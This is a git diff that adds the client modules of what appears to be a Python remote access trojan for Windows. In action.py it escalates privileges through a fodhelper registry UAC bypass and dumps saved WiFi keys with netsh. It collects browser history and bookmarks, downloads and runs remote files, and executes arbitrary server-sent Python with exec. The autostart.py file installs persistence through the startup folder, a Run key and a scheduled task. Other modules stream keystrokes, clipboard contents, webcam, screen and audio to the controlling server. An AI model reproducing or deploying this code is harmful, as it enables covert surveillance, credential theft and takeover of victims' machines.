diff options
Diffstat (limited to 'client')
-rw-r--r-- | client/action.py | 772 | ||||
-rw-r--r-- | client/autostart.py | 73 | ||||
-rw-r--r-- | client/error.py | 72 | ||||
-rw-r--r-- | client/helper.py | 63 | ||||
-rw-r--r-- | client/modules/audio.py | 54 | ||||
-rw-r--r-- | client/modules/clipper.py | 60 | ||||
-rw-r--r-- | client/modules/desktop.py | 70 | ||||
-rw-r--r-- | client/modules/keylogger.py | 85 | ||||
-rw-r--r-- | client/modules/module.py | 20 | ||||
-rw-r--r-- | client/modules/webcam.py | 81 | ||||
-rw-r--r-- | client/shell.py | 70 | ||||
-rw-r--r-- | client/socket.py | 119 | ||||
-rw-r--r-- | client/state.py | 47 | ||||
-rw-r--r-- | client/sysinfo.py | 256 |
14 files changed, 1842 insertions, 0 deletions
diff --git a/client/action.py b/client/action.py new file mode 100644 index 0000000..e67e327 --- /dev/null +++ b/client/action.py @@ -0,0 +1,772 @@ +''' + Functions called upon request specific actions, both + defined server & client side & correctly registered. + Constitutes the majority of the client's work. + + Verified: 2020 December 30 & 2021 2021 February 6 + * Follows PEP8 + * Tested Platforms + * Windows 10 + * Third Party Modules + * VideoCapture (Windows) + * browser-history + * pyperclip + * GPUtil + * psutil + * pynput + * mss +''' + +from client.modules.keylogger import Keylogger +from client.modules.desktop import Desktop +from client.modules.clipper import Clipper +from client.modules.audio import Audio +from client.state import ClientStatic +from client.error import ClientError +from shared.helper import Helper +from shared.state import Static +from client.shell import Shell +from shared.error import Error +from shared.data import Data + +import urllib.request +import contextlib +import webbrowser +import mss.tools +import pyperclip +import zipfile +import random +import GPUtil +import psutil +import pynput +import time +import mss +import io +import os + +import browser_history +# NOTE : Disable the default logging of the library +browser_history.utils.logger.removeHandler( + browser_history.utils.handler) + +if Static.WINDOWS: + from client.modules.webcam import Webcam, Capture + + import ctypes + import vidcap + import re + + @Error.quiet_thread + def alert_action(title, text, symbol): + ctypes.windll.user32.MessageBoxW(0, text, title, symbol) + + if Static.EXE: + from client.autostart import (AutoShell, + AutoRegistry, + AutoSchedule) + + import winreg + + class Escalate: + + __REG_PATH = r'Software\Classes\ms-settings\shell\open\command' + __FOD_HELPER = r'C:\Windows\System32\fodhelper.exe' + __DELEGATE_EXEC_REG_KEY = 'DelegateExecute' + + @staticmethod + def __create_reg_key(key, value): + winreg.CreateKey(winreg.HKEY_CURRENT_USER, Escalate.__REG_PATH) + reg_key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, + Escalate.__REG_PATH, + 0, winreg.KEY_WRITE) + winreg.SetValueEx(reg_key, key, 0, winreg.REG_SZ, value) + winreg.CloseKey(reg_key) + + @staticmethod + def __delete_reg_key(): + winreg.DeleteKey(winreg.HKEY_CURRENT_USER, Escalate.__REG_PATH) + + @staticmethod + def start(): + Escalate.__create_reg_key( + Escalate.__DELEGATE_EXEC_REG_KEY, None) + Escalate.__create_reg_key(None, Static.ROOT) + os.system(Escalate.__FOD_HELPER) + Escalate.__delete_reg_key() + + +class Recover: + + if Static.WINDOWS: + @staticmethod + def wifi(): + headers, values = ('SSID', 'Authentication', 'Cipher', + 'Security Key', 'Password'), [] + + networks = Shell.run('netsh wlan show profile', True) + network_names = re.findall(r'(?:Profile\s*:\s)(.*)', networks) + + for network_name in network_names: + try: + data = Shell.run( + 'netsh wlan show profile {} key=clear'.format( + network_name), True) + + values.append(( + re.findall(r'(?:SSID name\s*:\s)(.*)', data)[0][1:-1], + re.findall(r'(?:Authentication\s*:\s)(.*)', data)[0], + re.findall(r'(?:Cipher\s*:\s)(.*)', data)[0], + re.findall(r'(?:Security key\s*:\s)(.*)', data)[0], + re.findall(r'(?:Key Content\s*:\s)(.*)', data)[0])) + except Exception: + pass + + return (values, headers) + + @staticmethod + def history(): + result = 'Row,Timestamp,URL\n' + + for row, (timestamp, url) in enumerate( + browser_history.get_history().histories, 1): + result += '{},{},{}\n'.format( + row, Helper.timestamp(timestamp), url) + + return result + + @staticmethod + def bookmark(): + result = 'Row,Timestamp,URL,Title,Folder\n' + + for row, (timestamp, url, title, folder) in enumerate( + browser_history.get_bookmarks().bookmarks, 1): + result += '{},{},{},{},{}\n'.format( + row, Helper.timestamp(timestamp), url, title, folder) + + return result + + +class Sysinfo: + + __FACTOR = 1024 + + @staticmethod + def get_size(bolter, suffix='B'): + for unit in ['', 'K', 'M', 'G', 'T', 'P']: + if bolter < Sysinfo.__FACTOR: + return f'{bolter:.2f}{unit}{suffix}' + + bolter /= Sysinfo.__FACTOR + + @staticmethod + def gpu(): + headers, values = ('ID', 'Name', 'Load', 'Free Memory', + 'Used Memory', 'Total Memory', + 'Temperature', 'UUID'), [] + + for gpu in GPUtil.getGPUs(): + values.append((gpu.id, gpu.name, f'{gpu.load * 100:.2f}%', + Sysinfo.get_size(gpu.memoryFree), + Sysinfo.get_size(gpu.memoryUsed), + Sysinfo.get_size(gpu.memoryTotal), + f'{gpu.temperature:.2f}C', gpu.uuid)) + + return (values, headers) + + @staticmethod + def cpu(): + cpu_frequency = psutil.cpu_freq() + + headers, values = ('CPU Tag', 'Value'), [ + ('Physical Cores', psutil.cpu_count(logical=False)), + ('Total Cores', psutil.cpu_count(logical=True)), + ('Max Frequency', f'{cpu_frequency.max:.2f}Mhz'), + ('Min Frequency', f'{cpu_frequency.min:.2f}Mhz'), + ('Current Frequency', f'{cpu_frequency.current:.2f}Mhz'), + ('Total CPU Usage', f'{psutil.cpu_percent():.2f}%')] + + for core, percentage in enumerate(psutil.cpu_percent( + percpu=True, interval=1), 1): + values.append((f'Core {core} Usage', f'{percentage:.2f}%')) + + return (values, headers) + + @staticmethod + def memory(): + virtual = psutil.virtual_memory() + swap = psutil.swap_memory() + + headers, values = ('Memory Tag', 'Value'), ( + ('Total Mem', Sysinfo.get_size(virtual.total)), + ('Available Mem', Sysinfo.get_size(virtual.available)), + ('Used Mem', Sysinfo.get_size(virtual.used)), + ('Percentage', f'{virtual.percent:.2f}%'), + ('Total Swap', Sysinfo.get_size(swap.total)), + ('Free Swap', Sysinfo.get_size(swap.free)), + ('Used Swap', Sysinfo.get_size(swap.used)), + ('Percentage Swap', f'{swap.percent:.2f}%')) + + return (values, headers) + + @staticmethod + def disk(): + headers, values = ('Device', 'Mountpoint', 'File System', + 'Total Size', 'Used', 'Free', 'Percentage'), [] + + for partition in psutil.disk_partitions(): + value = [partition.device, + partition.mountpoint, + partition.fstype] + + try: + partition_usage = psutil.disk_usage(partition.mountpoint) + except PermissionError: + for _ in range(4): + value.append('') + else: + value.append(Sysinfo.get_size(partition_usage.total)) + value.append(Sysinfo.get_size(partition_usage.used)) + value.append(Sysinfo.get_size(partition_usage.free)) + value.append(f'{partition_usage.percent:.2f}%') + + values.append(value) + + return (values, headers) + + @staticmethod + def network(): + headers, values = ('Interface', 'IP Address', 'MAC Address', + 'Netmask', 'Broadcast IP', 'Broadcast MAC'), [] + + for interface_name, interface_addresses \ + in psutil.net_if_addrs().items(): + + for address in interface_addresses: + value = [interface_name] + + if str(address.family) == 'AddressFamily.AF_INET': + value.append(address.address) + value.append('') + value.append(address.netmask) + value.append(address.broadcast) + value.append('') + elif str(address.family) == 'AddressFamily.AF_PACKET': + value.append('') + value.append(address.address) + value.append(address.netmask) + value.append('') + value.append(address.broadcast) + else: + for _ in range(5): + value.append('') + + values.append(value) + + return (values, headers) + + @staticmethod + def io(): + disk_io = psutil.disk_io_counters() + net_io = psutil.net_io_counters() + + headers, values = ('IO Type Total Since Boot', 'Value'), ( + ('File System Read', Sysinfo.get_size(disk_io.read_bytes)), + ('File System Write', Sysinfo.get_size(disk_io.write_bytes)), + ('Network Bytes Sent', Sysinfo.get_size(net_io.bytes_sent)), + ('Network Bytes Received', Sysinfo.get_size(net_io.bytes_recv))) + + return (values, headers) + + +class Process: + + @staticmethod + def tasklist(): + headers, values = ('PID', 'Name', 'Status', + 'CPU Usage', 'Memory Usage'), [] + + for process in psutil.process_iter(): + value = [process.ppid(), + process.name(), + process.status(), + f'{process.cpu_percent():.2f}%'] + + try: + value.append(Sysinfo.get_size( + process.memory_full_info().uss)) + except psutil.AccessDenied: + value.append('Access Denied') + + values.append(value) + + values.sort() + return (values, headers) + + @staticmethod + def network(): + headers, values = ('Local Address', 'Foreign Address', + 'Family', 'Protocol', 'Status', 'PID'), [] + + for process in psutil.net_connections(): + try: + laddr, raddr, family, addr_type = ('', '', + str(process.family), + str(process.type)) + if process.laddr: + laddr = '{}:{}'.format(*process.laddr) + + if process.raddr: + raddr = '{}:{}'.format(*process.laddr) + + if family.endswith('AF_INET'): + family = 'IPV4' + elif family.endswith('AF_INET6'): + family = 'IPV6' + else: + family = 'UNIX' + + if addr_type.endswith('SOCK_STREAM'): + addr_type = 'TCP' + elif addr_type.endswith('SOCK_DGRAM'): + addr_type = 'UDP' + else: + addr_type = 'SCTP' + + values.append((laddr, raddr, family, addr_type, + process.status, process.pid)) + except Exception: + pass + + values.sort() + return (values, headers) + + @staticmethod + def kill(pid): + psutil.Process(pid).kill() + + +class Inject: + + def __init__(self): + self.__keyboard = pynput.keyboard.Controller() + self.__mouse = pynput.mouse.Controller() + + def run(self, script): + for row, command in enumerate(script, 1): + command = command.split() + key, value = (command[0].lower(), + ' '.join(command[1:])) + + if key == 'repeat': + for _ in range(int(value)): + self.run(script[row:]) + else: + break + else: + self.__execute(key, value) + + def __execute(self, key, value): + if key == 'press': + result = self.__key(value) + self.__keyboard.press(result) + self.__keyboard.release(result) + elif key == 'hold': + self.__keyboard.press(self.__key(value)) + elif key == 'release': + self.__keyboard.release(self.__key(value)) + elif key == 'type': + self.__keyboard.type(value) + elif key == 'position': + self.__mouse.position = tuple(self.__x_y(value)) + elif key == 'move': + self.__mouse.move(*self.__x_y(value)) + elif key == 'scroll': + self.__mouse.scroll(*self.__x_y(value)) + elif key == 'mhold': + self.__mouse.press(self.__button(value)) + elif key == 'mrelease': + self.__mouse.release(self.__button(value)) + elif key == 'click': + result = self.__button(value) + self.__mouse.press(result) + self.__mouse.release(result) + elif key == 'dclick': + self.__mouse.click(self.__button(value), 2) + elif key == 'sleep': + time.sleep(float(value)) + else: + raise SyntaxError('Injection Syntax Error') + + def __x_y(self, value): + values = value.split() + + if values[0].lower() == 'random': + numbers = [int(pos) for pos in + ' '.join(values[1:]).split(',')] + return (random.randint(*numbers[:2]), + random.randint(*numbers[2:4])) + else: + return (int(pos) for pos in value.split(',')) + + def __button(self, value): + return eval(f'pynput.mouse.Button.{value}') + + def __key(self, value): + return eval(f'pynput.keyboard.Key.{value}') + + +@ClientError.general +def clipboard(request): + request, store = Helper.store(request, ('copy', 'empty')) + + if store.copy: + pyperclip.copy(store.copy) + return Data.parse('Copied to clipboard', + status=Static.SUCCESS) + elif store.empty: + pyperclip.copy('') + return Data.parse('Clipboard emptied', + status=Static.SUCCESS) + else: + return Data.parse(pyperclip.paste(), raw=True) + + +@ClientError.general +def screenshot(request): + request, store = Helper.store(request, ('monitor',)) + assert type(store.monitor) is int, 'Client Argument Error' + + with mss.mss() as sct: + size = sct.monitors[store.monitor] + raw_bytes = sct.grab(size) + raw_bytes = mss.tools.to_png(raw_bytes.rgb, + raw_bytes.size) + + return Data.parse('Screenshot taken (monitor {}, {}x{})'.format( + store.monitor, size['width'], size['height']), + status=Static.SUCCESS, + custom=Data.b64encode(raw_bytes)) + + +@ClientError.general +def snapshot(request): + if Static.WINDOWS: + request, store = Helper.store(request, ('device',)) + assert (type(store.device) is int + and store.device > 0), 'Client Argument Error' + + device = vidcap.new_Dev(store.device - 1, False) + buffer, width, height = device.getbuffer() + raw_bytes = mss.tools.to_png(buffer, (width, height)) + + return Data.parse('Snapshot taken (device {}, {}x{}, {})'.format( + store.device, width, height, device.getdisplayname()), + status=Static.SUCCESS, + custom=Data.b64encode(raw_bytes)) + else: + raise OSError('Feature Not Available') + + +@ClientError.general +def python(request): + request, store = Helper.store(request, ('exec',)) + assert store.exec, 'Client Argument Error' + + buffer = io.StringIO() + + with contextlib.redirect_stdout(buffer): + exec(store.exec) + + return Data.parse(buffer.getvalue(), raw=True) + + +@ClientError.general +def inject(request): + request, store = Helper.store(request, ('exec', 'unblock')) + assert store.exec and type(store.exec) is list, 'Client Argument Error' + + if store.unblock: + Helper.thread(Error.quiet_thread(Inject().run), store.exec) + return Data.parse('Injection started', status=Static.INFO) + else: + Inject().run(store.exec) + return Data.parse('Injection complete', + status=Static.SUCCESS) + + +@ClientError.general +def browse(request): + request, store = Helper.store(request, ('url',)) + assert store.url and type(store.url) is list, 'Client Argument Error' + + for url in store.url: + webbrowser.open(url, 1) + + return Data.parse('URL{} opened'.format( + Helper.plural(store.url)), status=Static.SUCCESS) + + +@ClientError.general +def alert(request): + request, store = Helper.store(request, ('title', 'text', 'symbol')) + assert all((store.title, store.text, + store.symbol in (16, 32, 48, 64))), 'Client Argument Error' + + if Static.WINDOWS: + Helper.thread(alert_action, store.title, + store.text, store.symbol) + return Data.parse('Messagebox shown', + status=Static.SUCCESS) + else: + raise OSError('Feature Not Available') + + +@ClientError.general +def system(request): + request, store = Helper.store(request, ('shutdown', 'restart', + 'logout', 'hibernate', + 'standby')) + assert any((store.shutdown, store.restart, + store.logout, store.hibernate, + store.standby)), 'Client Argument Error' + + if Static.WINDOWS: + if store.shutdown: + os.system('shutdown /p /f') + return Data.parse('Shutdown complete', + status=Static.SUCCESS) + elif store.restart: + os.system('shutdown /r /f /t 0') + return Data.parse('Restart complete', + status=Static.SUCCESS) + elif store.logout: + os.system('shutdown /l /f') + return Data.parse('Logout complete', + status=Static.SUCCESS) + elif store.hibernate: + os.system('shutdown /h') + return Data.parse('Hibernate complete', + status=Static.SUCCESS) + else: + os.system('rundll32.exe powrprof.dll,SetSuspendState 0,1,0') + return Data.parse('Standby complete', + status=Static.SUCCESS) + else: + raise OSError('Feature Not Available') + + +@ClientError.general +def download(request): + request, store = Helper.store(request, ('file', 'dir')) + assert store.file or store.dir, 'Client Argument Error' + + if store.file: + assert os.path.isfile(store.file), 'File Not Found' + return Data.parse(f'Download complete ({store.file})', + status=Static.SUCCESS, + custom=Data.b64encode(Helper.read_file( + store.file, Helper.READ_BYTES))) + else: + assert os.path.isdir(store.dir), 'Directory Not Found' + + buffer = io.BytesIO() + relroot = os.path.abspath( + os.path.join(store.dir, os.pardir)) + + with zipfile.ZipFile(buffer, Helper.WRITE, + zipfile.ZIP_DEFLATED) as archive: + for root, _, files in os.walk(store.dir): + archive.write(root, os.path.relpath(root, relroot)) + + for file in files: + filename = os.path.join(root, file) + + if os.path.isfile(filename): + arcname = os.path.join( + os.path.relpath(root, relroot), file) + archive.write(filename, arcname) + + return Data.parse(f'Download complete ({store.dir})', + status=Static.SUCCESS, + custom=Data.b64encode(buffer.getvalue())) + + +@ClientError.general +def upload(request): + request, store = Helper.store(request, ('file', 'url', + 'execute', 'custom')) + assert store.url or (store.file and store.custom), 'Client Argument Error' + + if store.file: + Helper.write_file(store.file, Data.b64decode( + store.custom), Helper.WRITE_BYTES) + + if store.execute: + Helper.start(store.file) + + return Data.parse(f'Upload complete ({store.file})', + status=Static.SUCCESS) + else: + filename = os.path.split(store.url)[1] + Helper.write_file(filename, urllib.request.urlopen( + store.url).read(), Helper.WRITE_BYTES) + + if store.execute: + Helper.start(filename) + + return Data.parse(f'URL upload complete ({store.url})', + status=Static.SUCCESS) + + +@ClientError.general +def escalate(request): + assert Static.EXE, 'Requires Executable Build' + + if Static.WINDOWS: + Escalate.start() + return Data.parse('Escalation started', + status=Static.INFO) + else: + raise OSError('Feature Not Available') + + +@ClientError.general +def autostart(request): + assert Static.EXE, 'Requires Executable Build' + + request, store = Helper.store(request, ('shell', 'registry', 'schedule')) + assert any((store.shell, store.registry, + store.schedule)), 'Client Argument Error' + + if Static.WINDOWS: + if store.shell: + AutoShell.install() + return Data.parse('Added to startup directory', + status=Static.SUCCESS) + elif store.registry: + AutoRegistry.install() + return Data.parse('Added to registry startup', + status=Static.SUCCESS) + else: + AutoSchedule.install() + return Data.parse('Added to task scheduler', + status=Static.SUCCESS) + else: + raise OSError('Feature Not Available') + + +@ClientError.general +def recover(request): + request, store = Helper.store(request, ('wifi', 'history', 'bookmark')) + assert any((store.wifi, store.history, + store.bookmark)), 'Client Argument Error' + + if store.wifi: + if Static.WINDOWS: + return Data.message(Recover.wifi()) + else: + raise OSError('Feature Not Available') + elif store.history: + return Data.parse('History downloaded', + status=Static.SUCCESS, + custom=Recover.history()) + else: + return Data.parse('Bookmarks downloaded', + status=Static.SUCCESS, + custom=Recover.bookmark()) + + +@ClientError.general +def process(request): + request, store = Helper.store(request, ('kill', 'tasklist', 'network')) + assert any((store.kill, store.tasklist, + store.network)), 'Client Argument Error' + + if store.tasklist: + return Data.message(Process.tasklist()) + elif store.network: + return Data.message(Process.network()) + else: + Process.kill(int(store.kill)) + return Data.parse(f'Process killed ({store.kill})', + status=Static.SUCCESS) + + +@ClientError.general +def sysinfo(request): + request, store = Helper.store(request, ('gpu', 'cpu', 'memory', + 'disk', 'network', 'io')) + assert any((store.gpu, store.cpu, store.memory, store.disk, + store.network, store.io)), 'Client Argument Error' + + if store.gpu: + return Data.message(Sysinfo.gpu()) + elif store.cpu: + return Data.message(Sysinfo.cpu()) + elif store.memory: + return Data.message(Sysinfo.memory()) + elif store.disk: + return Data.message(Sysinfo.disk()) + elif store.network: + return Data.message(Sysinfo.network()) + else: + return Data.message(Sysinfo.io()) + + +@ClientError.general +def desktop(request): + request, store = Helper.store(request, ('monitor', 'token')) + assert type(store.monitor) is int and store.token, \ + 'Client Argument Error' + + Desktop(store.token).live(store.monitor) + return Data.parse(f'Desktop stream started (monitor {store.monitor})', + status=Static.INFO) + + +@ClientError.general +def webcam(request): + if Static.WINDOWS: + request, store = Helper.store(request, ('device', 'token')) + assert (type(store.device) is int and store.device > 0 + and store.token), 'Client Argument Error' + + device = vidcap.new_Dev(store.device - 1, False) + ClientStatic.WEBCAM[store.token] = Capture(device) + Webcam(store.token).live() + + return Data.parse('Webcam stream started (device {}, {})'.format( + store.device, device.getdisplayname()), status=Static.INFO) + else: + raise OSError('Feature Not Available') + + +@ClientError.general +def audio(request): + request, store = Helper.store(request, ('channels', 'rate', 'token')) + assert (type(store.channels) is int and type(store.rate) is int + and store.token), 'Client Argument Error' + + Audio(store.token).live(store.channels, store.rate) + return Data.parse('Audio stream started', + status=Static.INFO) + + +@ClientError.general +def keylogger(request): + request, store = Helper.store(request, ('token',)) + assert store.token, 'Client Argument Error' + + Keylogger(store.token).live() + return Data.parse('Keylogger started', + status=Static.INFO) + + +@ClientError.general +def clipper(request): + request, store = Helper.store(request, ('token',)) + assert store.token, 'Client Argument Error' + + Clipper(store.token).live() + return Data.parse('Clipper started', + status=Static.INFO) diff --git a/client/autostart.py b/client/autostart.py new file mode 100644 index 0000000..d980a06 --- /dev/null +++ b/client/autostart.py @@ -0,0 +1,73 @@ +''' + Handles multiple powerful persistence + alternatives with classes that install + & uninstall these methods. + + Verified: 2021 February 6 + * Follows PEP8 + * Tested Platforms + * Windows 10 +''' + +from client.state import ClientStatic +from shared.helper import Helper +from shared.state import Static + +import os + + +class AutoShell: + + __STARTUP_DATA = Helper.join('[InternetShortcut]', + f'URL=file://{Static.ROOT}') + __STARTUP_PATH = (os.environ['APPDATA'] + + r'\Microsoft\Windows\Start Menu' + + r'\Programs\Startup\{}.url'.format( + ClientStatic.NAME)) + + @staticmethod + def install(): + Helper.write_file(AutoShell.__STARTUP_PATH, + AutoShell.__STARTUP_DATA, + Helper.WRITE) + + @staticmethod + def uninstall(): + try: + os.remove(AutoShell.__STARTUP_PATH) + except OSError: + pass + + +class AutoRegistry: + + __REG_KEY = (r'HKEY_LOCAL_MACHINE\SOFTWARE\Micro' + r'soft\Windows\CurrentVersion\Run') + + @staticmethod + def install(): + assert Helper.run('reg.exe add {} /v "{}" /t reg_sz /f /d "{}"'.format( + AutoRegistry.__REG_KEY, ClientStatic.NAME, Static.ROOT + ), True), 'Registry install failed' + + @staticmethod + def uninstall(): + assert Helper.run('reg.exe delete {} /f'.format( + AutoRegistry.__REG_KEY + ), True), 'Registry uninstall failed' + + +class AutoSchedule: + + @staticmethod + def install(): + assert Helper.run(( + 'schtasks.exe /create /f /sc onlogon /rl highest ' + f'/tn "{ClientStatic.NAME}" /tr "{Static.ROOT}"' + ), True), 'Task scheduler install failed' + + @staticmethod + def uninstall(): + assert Helper.run('schtasks.exe /delete /f /tn "{}"'.format( + ClientStatic.NAME + ), True), 'Task scheduler uninstall failed' diff --git a/client/error.py b/client/error.py new file mode 100644 index 0000000..2956271 --- /dev/null +++ b/client/error.py @@ -0,0 +1,72 @@ +''' + Error handling client decorators, to provide + useful information sent back to the server or + handle critical errors accordingly. + + Verified: 2020 December 30 & 2021 February 6 + * Follows PEP8 + * Tested Platforms + * Windows 10 +''' + +from client.state import ClientStatic +from shared.helper import Helper +from shared.state import Static +from shared.data import Data + +import sys + +if Static.EXE: + from client.helper import ClientHelper + + import time + + +class ReconnectError(Exception): + pass + + +class ClientError: + + if Static.EXE: + __RECONNECT_TIMER = 10 + + @staticmethod + def general(callback): + def wrapper(*args, **kwargs): + try: + return callback(*args, **kwargs) + except Exception as error: + return Data.parse(Helper.join( + 'Client Side Execution Failed', + f'{type(error).__name__}: {error}' + ), status=Static.DANGER) + + return wrapper + + @staticmethod + def critical(callback): + def wrapper(*args, **kwargs): + try: + return callback(*args, **kwargs) + except SystemExit: + raise + except ReconnectError: + if Static.EXE: + ClientHelper.restart() + else: + sys.exit() + except TimeoutError: + if Static.EXE: + time.sleep(ClientError.__RECONNECT_TIMER) + ClientHelper.restart() + else: + sys.exit() + except Exception: + if Static.EXE and ClientStatic.STICKY: + time.sleep(ClientError.__RECONNECT_TIMER) + ClientHelper.restart() + else: + sys.exit() + + return wrapper diff --git a/client/helper.py b/client/helper.py new file mode 100644 index 0000000..2c90a52 --- /dev/null +++ b/client/helper.py @@ -0,0 +1,63 @@ +''' + General helper functions to improve order + & flow of the client program. + + Verified: 2020 December 30 & 2021 February 6 + * Follows PEP8 + * Tested Platforms + * Windows 10 +''' + +from client.state import ClientStatic +from shared.helper import Helper +from shared.state import Static + +import sys + +if Static.EXE: + if Static.WINDOWS: + from client.autostart import (AutoShell, + AutoRegistry, + AutoSchedule) + + from shared.error import Error + + import os + + +class ClientHelper: + + @staticmethod + def secure(callback): + try: + result = callback() + assert type(result) is str + return result + except Exception: + return ClientStatic.DEFAULT + + @staticmethod + def plural_int(number): + if number == 1: + return '' + else: + return 's' + + @staticmethod + def restart(): + try: + sys.exit() + finally: + Helper.start(Static.ROOT) + + @staticmethod + def uninstall(): + if Static.EXE: + if Static.WINDOWS: + AutoShell.uninstall() + Error.quiet(AutoRegistry.uninstall)() + Error.quiet(AutoSchedule.uninstall)() + + Error.quiet(os.remove)(Static.ROOT) + + sys.exit() diff --git a/client/modules/audio.py b/client/modules/audio.py new file mode 100644 index 0000000..db37a6e --- /dev/null +++ b/client/modules/audio.py @@ -0,0 +1,54 @@ +''' + Creates a connection to the server, sending a stream + of audio data using the specified channels & rate. + + Verified: 2021 February 6 + * Follows PEP8 + * Tested Platforms + * Windows 10 + * Third Party Modules + * pyaudio +''' + +from client.modules.module import Module +from shared.helper import Helper +from shared.state import Static +from shared.error import Error +from shared.data import Data + +import pyaudio +import socket + + +class Audio(Module): + + def __init__(self, token): + super().__init__(token) + self.__audio = pyaudio.PyAudio() + + @Error.quiet_thread + def __send(self, channels, rate): + try: + stream = self.__audio.open(format=pyaudio.paInt16, + channels=channels, rate=rate, + frames_per_buffer=Data.BUFFER_SIZE, + input=True) + + try: + with socket.create_connection( + (Static.IP, Static.PORT)) as sock: + Data.send(sock, self.token) + Data.recv(sock) + + while True: + Data.send(sock, stream.read( + Data.BUFFER_SIZE), False) + Data.recv(sock) + finally: + stream.stop_stream() + stream.close() + finally: + self.__audio.terminate() + + def live(self, channels, rate): + Helper.thread(self.__send, channels, rate) diff --git a/client/modules/clipper.py b/client/modules/clipper.py new file mode 100644 index 0000000..ede15de --- /dev/null +++ b/client/modules/clipper.py @@ -0,0 +1,60 @@ +''' + Creates a connection to the server, sending the + clipboard data in intervals as long as its not + the same data as before. + + Verified: 2021 February 6 + * Follows PEP8 + * Tested Platforms + * Windows 10 + * Third Party Modules + * pyperclip +''' + +from client.modules.module import Module +from shared.helper import Helper +from shared.state import Static +from shared.error import Error +from shared.data import Data + +import pyperclip +import socket +import time + + +class Clipper(Module): + + __INTERVAL = Static.LIVE_TIMEOUT / 2 + + def __init__(self, token): + super().__init__(token) + self.__first = True + self.__before = '' + + @Error.quiet_thread + def __send(self): + with socket.create_connection( + (Static.IP, Static.PORT)) as sock: + Data.send(sock, self.token) + Data.recv(sock) + + while True: + paste = data = pyperclip.paste() + + if paste == self.__before: + data = '' + else: + if self.__first: + self.__first = False + data = f'{Helper.timestamp()}:{paste}' + else: + data = f'\n{Helper.timestamp()}:{paste}' + + Data.send(sock, data) + Data.recv(sock) + + self.__before = paste + time.sleep(Clipper.__INTERVAL) + + def live(self): + Helper.thread(self.__send) diff --git a/client/modules/desktop.py b/client/modules/desktop.py new file mode 100644 index 0000000..bb38e1a --- /dev/null +++ b/client/modules/desktop.py @@ -0,0 +1,70 @@ +''' + Creates a connection to the server, sending a stream + of screenshots from the specified monitor. Splitting + up the work in to two threads, one for taking the + screenshot, the other to send it. + + Verified: 2021 February 6 + * Follows PEP8 + * Tested Platforms + * Windows 10 + * Third Party Modules + * mss +''' + +from client.modules.module import Module +from shared.helper import Helper +from shared.state import Static +from shared.error import Error +from shared.data import Data + +import mss.tools +import socket +import queue +import mss + +if Static.WINDOWS: + import ctypes + + # NOTE : Sets monitor DPI (zoom) to 100%, + # laptops usually have their DPI set to 125%, + # by default which this line will fix + Error.quiet( + ctypes.windll.user32.SetProcessDPIAware)() + + +class Desktop(Module): + + __MAX_SIZE = 1 + + def __init__(self, token): + super().__init__(token) + self.__queue = queue.Queue(Desktop.__MAX_SIZE) + + @Error.quiet_thread + def __grab(self, monitor): + with mss.mss() as sct: + size = sct.monitors[monitor] + + while True: + screenshot = sct.grab(size) + screenshot = mss.tools.to_png(screenshot.rgb, + screenshot.size) + self.__queue.put(screenshot, + timeout=Static.LIVE_TIMEOUT) + + @Error.quiet_thread + def __send(self): + with socket.create_connection( + (Static.IP, Static.PORT)) as sock: + Data.send(sock, self.token) + Data.recv(sock) + + while True: + Data.send(sock, self.__queue.get( + timeout=Static.LIVE_TIMEOUT), False) + Data.recv(sock) + + def live(self, monitor): + Helper.thread(self.__send) + Helper.thread(self.__grab, monitor) diff --git a/client/modules/keylogger.py b/client/modules/keylogger.py new file mode 100644 index 0000000..9911db5 --- /dev/null +++ b/client/modules/keylogger.py @@ -0,0 +1,85 @@ +''' + Creates a connection to the server, sending the + keystrokes pressed, with attached timestamps in + intervals. + + Verified: 2021 February 6 + * Follows PEP8 + * Tested Platforms + * Windows 10 + * Third Party Modules + * pynput +''' + +from client.modules.module import Module +from shared.helper import Helper +from shared.state import Static +from shared.error import Error +from shared.data import Data + +import socket +import pynput +import time +import re + + +class Keylogger(Module): + + __INTERVAL = Static.LIVE_TIMEOUT / 2 + + def __init__(self, token): + super().__init__(token) + self.__listener = pynput.keyboard.Listener( + on_press=self.__press) + self.__listener.start() + self.__first = True + self.__keys = '' + + def __press(self, key): + key = str(key) + + if key == 'Key.enter': + key = f'\n{Helper.timestamp()}:' + else: + if key == 'Key.space': + key = ' ' + elif key.startswith('Key.'): + key = key[4:] + else: + if re.search(r'^\[.*]$', key): + key = key[1:-1] + + if re.search('^\'.*\'$', key): + key = key[1:-1] + elif re.search('^".*"$', key): + key = key[1:-1] + elif re.search('^<.*>$', key): + key = key[1:-1] + + if len(key) > 1: + key = f'[{key.upper()}]' + + if self.__first: + self.__first = False + key = f'{Helper.timestamp()}:{key}' + + self.__keys += key + + @Error.quiet_thread + def __send(self): + try: + with socket.create_connection( + (Static.IP, Static.PORT)) as sock: + Data.send(sock, self.token) + Data.recv(sock) + + while True: + keys, self.__keys = self.__keys, '' + Data.send(sock, keys) + Data.recv(sock) + time.sleep(Keylogger.__INTERVAL) + finally: + self.__listener.stop() + + def live(self): + Helper.thread(self.__send) diff --git a/client/modules/module.py b/client/modules/module.py new file mode 100644 index 0000000..14c6fea --- /dev/null +++ b/client/modules/module.py @@ -0,0 +1,20 @@ +''' + A class used by all modules, for the simple + reason that every module requires a token. + it's easily extensible for future reference. + + Verified: 2021 February 6 + * Follows PEP8 + * Tested Platforms + * Windows 10 +''' + + +class Module: + + def __init__(self, token): + self.__token = token + + @property + def token(self): + return self.__token diff --git a/client/modules/webcam.py b/client/modules/webcam.py new file mode 100644 index 0000000..ddda802 --- /dev/null +++ b/client/modules/webcam.py @@ -0,0 +1,81 @@ +''' + Creates a connection to the server, sending a stream + of snapshots from the specified monitor. Splitting + up the work in to two threads, one for taking the + snapshot, the other to send it. + + Verified: 2021 February 6 + * Follows PEP8 + * Tested Platforms + * Windows 10 + * Third Party Modules + * mss +''' + +from client.modules.module import Module +from client.state import ClientStatic +from shared.helper import Helper +from shared.state import Static +from shared.error import Error +from shared.data import Data + +import mss.tools +import socket +import queue +import mss + + +class Capture: + + def __init__(self, device): + self.__device = device + self.__alive = True + + @property + def device(self): + return self.__device + + @property + def alive(self): + return self.__alive + + def kill(self): + self.__alive = False + + +class Webcam(Module): + + __MAX_SIZE = 1 + + def __init__(self, token): + super().__init__(token) + self.__queue = queue.Queue(Webcam.__MAX_SIZE) + self.__device = ClientStatic.WEBCAM[token] + + @Error.quiet + def __del__(self): + self.__device.kill() + + @Error.quiet_thread + def __grab(self): + while True: + buffer, width, height = self.__device.device.getbuffer() + snapshot = mss.tools.to_png(buffer, (width, height)) + 